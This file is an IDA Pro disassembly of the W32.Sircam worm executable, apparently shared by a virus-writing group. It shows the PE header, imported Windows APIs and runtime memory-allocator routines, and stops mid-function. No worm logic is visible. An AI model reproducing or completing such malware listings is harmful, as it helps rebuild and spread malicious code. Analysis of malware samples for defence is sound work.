;Disassemblered By Dr.T/ Black Cat VIrii Group 2001;
; www.virology.f2s.com; 
 
;
; иммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╩
; ╨	This file is generated by The Interactive Disassembler (IDA)	    ╨
; ╨	Copyright (c) 1999 by DataRescue sa/nv,	<ida@datarescue.com>	    ╨
; ╨	      Licensed to: Gary	Colton,	1 user,	advanced, 05/2000	    ╨
; хммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╪
;
; File Name   :	D:\W32[1].Sircam.exe
; Format      :	Portable executable for	IBM PC (PE)
; Section 1. (virtual address 00001000)
; Virtual size			: 0001A790 ( 108432.)
; Section size in file		: 0001A800 ( 108544.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: 16 bytes ?

		model flat

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
off_401000	dd offset dword_401004	; DATA XREF: CODE:0040624Ao
					; CODE:004095FFo ...
dword_401004	dd 7453060Ah, 676E6972h	; DATA XREF: CODE:00401000o
off_40100C	dd offset dword_401058	; DATA XREF: CODE:0040621Co
					; CODE:00406C44o ...
		dd 7 dup(0)
		dd offset dword_401058
		dd 4, 0
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_401058	dd 624F5407h, 7463656Ah	; DATA XREF: CODE:0040100Co
					; CODE:0040102Co ...
off_401060	dd offset dword_401064	; DATA XREF: CODE:0040BA01o
dword_401064	dd 4F540707h, 63656A62h	; DATA XREF: CODE:00401060o
		db 74h
		dd offset dword_401058
		dd 0, 53060000h, 65747379h
		db 6Dh,	2 dup(0)
off_401080	dd offset dword_401084	; DATA XREF: CODE:0040BA29o
dword_401084	dd 5549080Fh, 6F6E6B6Eh, 6E77h,	10000h,	0, 0C0000000h
					; DATA XREF: CODE:00401080o
		dd 0, 6460000h,	74737953h, 6D65h
; [00000006 BYTES: COLLAPSED FUNCTION j_CloseHandle. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateFileA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileType. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemTime. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileSize. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetStdHandle. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RaiseException.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ReadFile. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RtlUnwind. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetEndOfFile. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetFilePointer.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_UnhandledExceptionFilter. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WriteFile. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CharNextA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ExitProcess. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FindClose. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FindFirstFileA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FreeLibrary. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCommandLineA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetLastError. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetLocaleInfoA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleFileNameA. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleHandleA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetProcAddress.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetStartupInfoA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetThreadLocale. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LoadLibraryExA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LoadStringA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_lstrcpyA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_lstrcpynA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_lstrlenA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MultiByteToWideChar. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegCloseKey. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegOpenKeyExA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegQueryValueExA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualQuery. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SysAllocStringLen. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SysReAllocStringLen. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SysFreeString. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SysStringLen. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantClear. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantCopyInd.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantChangeTypeEx. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401214	proc near		; CODE XREF: sub_405880+C6p

var_18		= byte ptr -18h
var_14		= word ptr -14h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	j_GetStartupInfoA
		test	[esp+44h+var_18], 1
		jz	short loc_40122F
		movzx	ebx, [esp+44h+var_14]

loc_40122F:				; CODE XREF: sub_401214+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_401214	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalFree. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualAlloc. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualFree. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_InitializeCriticalSection. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LeaveCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection. PRESS KEYPAD "+"	TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401278	proc near		; CODE XREF: sub_4012D0+6p
		push	ebx
		push	esi
		mov	esi, offset dword_41E44C
		cmp	dword ptr [esi], 0
		jnz	short loc_4012BE
		push	644h
		push	0
		call	j_LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_40129B
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40129B:				; CODE XREF: sub_401278+1Cj
		mov	eax, ds:dword_41E448
		mov	[ecx], eax
		mov	ds:dword_41E448, ecx
		xor	edx, edx

loc_4012AA:				; CODE XREF: sub_401278+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_4012AA

loc_4012BE:				; CODE XREF: sub_401278+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_401278	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4012C8	proc near		; CODE XREF: sub_401904+33p
					; sub_401904+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_4012C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4012D0	proc near		; CODE XREF: sub_401318+5Ep
					; sub_40138C+6Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_401278
		test	eax, eax
		jnz	short loc_4012E4
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4012E4:				; CODE XREF: sub_4012D0+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_4012D0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401300	proc near		; CODE XREF: sub_401318+2Cp
					; sub_401318+49p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_41E44C
		mov	[eax], edx
		mov	ds:dword_41E44C, eax
		retn
sub_401300	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401318	proc near		; CODE XREF: sub_4016C4+6Cp
					; sub_401754+62p ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+0], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+0]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx

loc_401334:				; CODE XREF: sub_401318+58j
		mov	edi, [ebx]
		mov	eax, [ebx+8]
		mov	edx, eax
		add	edx, [ebx+0Ch]
		cmp	edx, [esi]
		jnz	short loc_401356
		mov	eax, ebx
		call	sub_401300
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_40136C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401356:				; CODE XREF: sub_401318+28j
		mov	edx, [esi]
		add	edx, [esi+4]
		cmp	eax, edx
		jnz	short loc_40136C
		mov	eax, ebx
		call	sub_401300
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax

loc_40136C:				; CODE XREF: sub_401318+3Cj
					; sub_401318+45j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_401334
		mov	edx, esi
		mov	eax, ebp
		call	sub_4012D0
		test	al, al
		jnz	short loc_401383
		xor	eax, eax
		mov	[esi], eax

loc_401383:				; CODE XREF: sub_401318+65j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401318	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40138C	proc near		; CODE XREF: sub_401878+7Ap
					; sub_401C60+8Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx

loc_401397:				; CODE XREF: sub_40138C+84j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_40140C
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_40140C
		cmp	esi, eax
		jnz	short loc_4013CD
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_401408
		mov	eax, ebx
		call	sub_401300
		jmp	short loc_401408
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4013CD:				; CODE XREF: sub_40138C+24j
		mov	ecx, [edx]
		mov	esi, [edx+4]
		add	ecx, esi
		mov	edi, eax
		add	edi, [ebx+0Ch]
		cmp	ecx, edi
		jnz	short loc_4013E2
		sub	[ebx+0Ch], esi
		jmp	short loc_401408
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4013E2:				; CODE XREF: sub_40138C+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+8+var_8], ecx
		sub	edi, ecx
		mov	[esp+8+var_4], edi
		mov	edx, [edx]
		sub	edx, eax
		mov	[ebx+0Ch], edx
		mov	edx, esp
		mov	eax, ebx
		call	sub_4012D0
		test	al, al
		jnz	short loc_401408
		xor	eax, eax
		jmp	short loc_401414
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401408:				; CODE XREF: sub_40138C+36j
					; sub_40138C+3Fj ...
		mov	al, 1
		jmp	short loc_401414
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40140C:				; CODE XREF: sub_40138C+12j
					; sub_40138C+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_401397
		xor	eax, eax

loc_401414:				; CODE XREF: sub_40138C+7Aj
					; sub_40138C+7Ej
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40138C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40141C	proc near		; CODE XREF: sub_4016C4+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_401432
		mov	esi, 100000h
		jmp	short loc_40143E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401432:				; CODE XREF: sub_40141C+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h

loc_40143E:				; CODE XREF: sub_40141C+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	j_VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_40147B
		mov	edx, ebx
		mov	eax, offset dword_41E450
		call	sub_4012D0
		test	al, al
		jnz	short loc_40147B
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	j_VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_40147B:				; CODE XREF: sub_40141C+3Aj
					; sub_40141C+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40141C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401480	proc near		; CODE XREF: sub_401754+4Cp
					; sub_401754+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	j_VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_4014CA
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	j_VirtualAlloc
		mov	[ebx], eax

loc_4014CA:				; CODE XREF: sub_401480+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_4014F2
		mov	edx, ebx
		mov	eax, offset dword_41E450
		call	sub_4012D0
		test	al, al
		jnz	short loc_4014F2
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	j_VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_4014F2:				; CODE XREF: sub_401480+4Dj
					; sub_401480+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401480	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4014F8	proc near		; CODE XREF: sub_4016C4+7Ep
					; sub_401754+7Ap ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+14h+var_10], ecx
		mov	[esp+14h+var_14], edx
		mov	[esp+14h+var_C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+14h+var_8], edx
		mov	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	eax, ebp
		mov	[esp+14h+var_4], eax
		mov	ebx, ds:dword_41E450
		jmp	short loc_401578
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401527:				; CODE XREF: sub_4014F8+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_401576
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+14h+var_4]
		ja	short loc_401576
		cmp	esi, [esp+14h+var_C]
		jnb	short loc_401545
		mov	[esp+14h+var_C], esi

loc_401545:				; CODE XREF: sub_4014F8+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+14h+var_8]
		jbe	short loc_401554
		mov	[esp+14h+var_8], eax

loc_401554:				; CODE XREF: sub_4014F8+56j
		push	8000h
		push	0
		push	esi
		call	j_VirtualFree
		test	eax, eax
		jnz	short loc_40156F
		mov	ds:dword_41E42C, 1

loc_40156F:				; CODE XREF: sub_4014F8+6Bj
		mov	eax, ebx
		call	sub_401300

loc_401576:				; CODE XREF: sub_4014F8+36j
					; sub_4014F8+41j
		mov	ebx, edi

loc_401578:				; CODE XREF: sub_4014F8+2Dj
		cmp	ebx, offset dword_41E450
		jnz	short loc_401527
		mov	eax, [esp+14h+var_10]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+14h+var_8], 0
		jz	short loc_4015A8
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_8]
		sub	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_10]
		mov	[edx+4], eax

loc_4015A8:				; CODE XREF: sub_4014F8+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4014F8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4015B0	proc near		; CODE XREF: sub_4016C4+2Dp
					; sub_401754+E6p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+0Ch+var_8], ecx
		mov	[esp+0Ch+var_C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+0Ch+var_C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+0Ch+var_4], edx
		mov	eax, [esp+0Ch+var_8]
		mov	[eax], ebp
		mov	eax, [esp+0Ch+var_4]
		sub	eax, ebp
		mov	edx, [esp+0Ch+var_8]
		mov	[edx+4], eax
		mov	esi, ds:dword_41E450
		jmp	short loc_401632
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4015F6:				; CODE XREF: sub_4015B0+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_401604
		mov	ebx, ebp

loc_401604:				; CODE XREF: sub_4015B0+50j
		cmp	edi, [esp+0Ch+var_4]
		jbe	short loc_40160E
		mov	edi, [esp+0Ch+var_4]

loc_40160E:				; CODE XREF: sub_4015B0+58j
		cmp	edi, ebx
		jbe	short loc_401630
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	j_VirtualAlloc
		test	eax, eax
		jnz	short loc_401630
		mov	eax, [esp+0Ch+var_8]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_40163A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401630:				; CODE XREF: sub_4015B0+60j
					; sub_4015B0+74j
		mov	esi, [esi]

loc_401632:				; CODE XREF: sub_4015B0+44j
		cmp	esi, offset dword_41E450
		jnz	short loc_4015F6

loc_40163A:				; CODE XREF: sub_4015B0+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401644	proc near		; CODE XREF: sub_401878+2Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+0], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+0]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+0]
		mov	[ecx+4], eax
		mov	esi, ds:dword_41E450
		jmp	short loc_4016B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40167B:				; CODE XREF: sub_401644+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+0]
		jnb	short loc_40168B
		mov	ebx, [esp+0]

loc_40168B:				; CODE XREF: sub_401644+42j
		cmp	ebp, edi
		jnb	short loc_401691
		mov	edi, ebp

loc_401691:				; CODE XREF: sub_401644+49j
		cmp	edi, ebx
		jbe	short loc_4016B1
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	j_VirtualFree
		test	eax, eax
		jnz	short loc_4016B1
		mov	ds:dword_41E42C, 2

loc_4016B1:				; CODE XREF: sub_401644+4Fj
					; sub_401644+61j
		mov	esi, [esi]

loc_4016B3:				; CODE XREF: sub_401644+35j
		cmp	esi, offset dword_41E450
		jnz	short loc_40167B
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401644	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4016C4	proc near		; CODE XREF: sub_401E58+Bp

var_8		= dword	ptr -8

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset unk_41E460
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_4016E0:				; CODE XREF: sub_4016C4+75j
		mov	ebx, [ebp+0]
		jmp	short loc_401718
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4016E5:				; CODE XREF: sub_4016C4+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_401716
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_4015B0
		cmp	dword ptr [esi], 0
		jz	short loc_40174B
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_40174B
		mov	eax, ebx
		call	sub_401300
		jmp	short loc_40174B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401716:				; CODE XREF: sub_4016C4+24j
		mov	ebx, [ebx]

loc_401718:				; CODE XREF: sub_4016C4+1Fj
		cmp	ebx, ebp
		jnz	short loc_4016E5
		mov	edx, esi
		mov	eax, edi
		call	sub_40141C
		cmp	dword ptr [esi], 0
		jz	short loc_40174B
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_401318
		cmp	[esp+8+var_8], 0
		jnz	short loc_4016E0
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_4014F8
		xor	eax, eax
		mov	[esi], eax

loc_40174B:				; CODE XREF: sub_4016C4+35j
					; sub_4016C4+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4016C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401754	proc near		; CODE XREF: sub_401E84+10p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+14h+var_14], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset unk_41E460
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_401773:				; CODE XREF: sub_401754+6Cj
					; sub_401754+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_40177A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401778:				; CODE XREF: sub_401754+2Dj
		mov	ebx, [ebx]

loc_40177A:				; CODE XREF: sub_401754+22j
		cmp	ebx, ebp
		jz	short loc_401783
		cmp	esi, [ebx+8]
		jnz	short loc_401778

loc_401783:				; CODE XREF: sub_401754+28j
		cmp	esi, [ebx+8]
		jnz	short loc_4017DF
		cmp	edi, [ebx+0Ch]
		jle	loc_401827
		lea	ecx, [esp+14h+var_10]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_401480
		cmp	[esp+14h+var_10], 0
		jz	short loc_4017DF
		lea	ecx, [esp+14h+var_8]
		lea	edx, [esp+14h+var_10]
		mov	eax, ebp
		call	sub_401318
		cmp	[esp+14h+var_8], 0
		jnz	short loc_401773
		lea	ecx, [esp+14h+var_8]
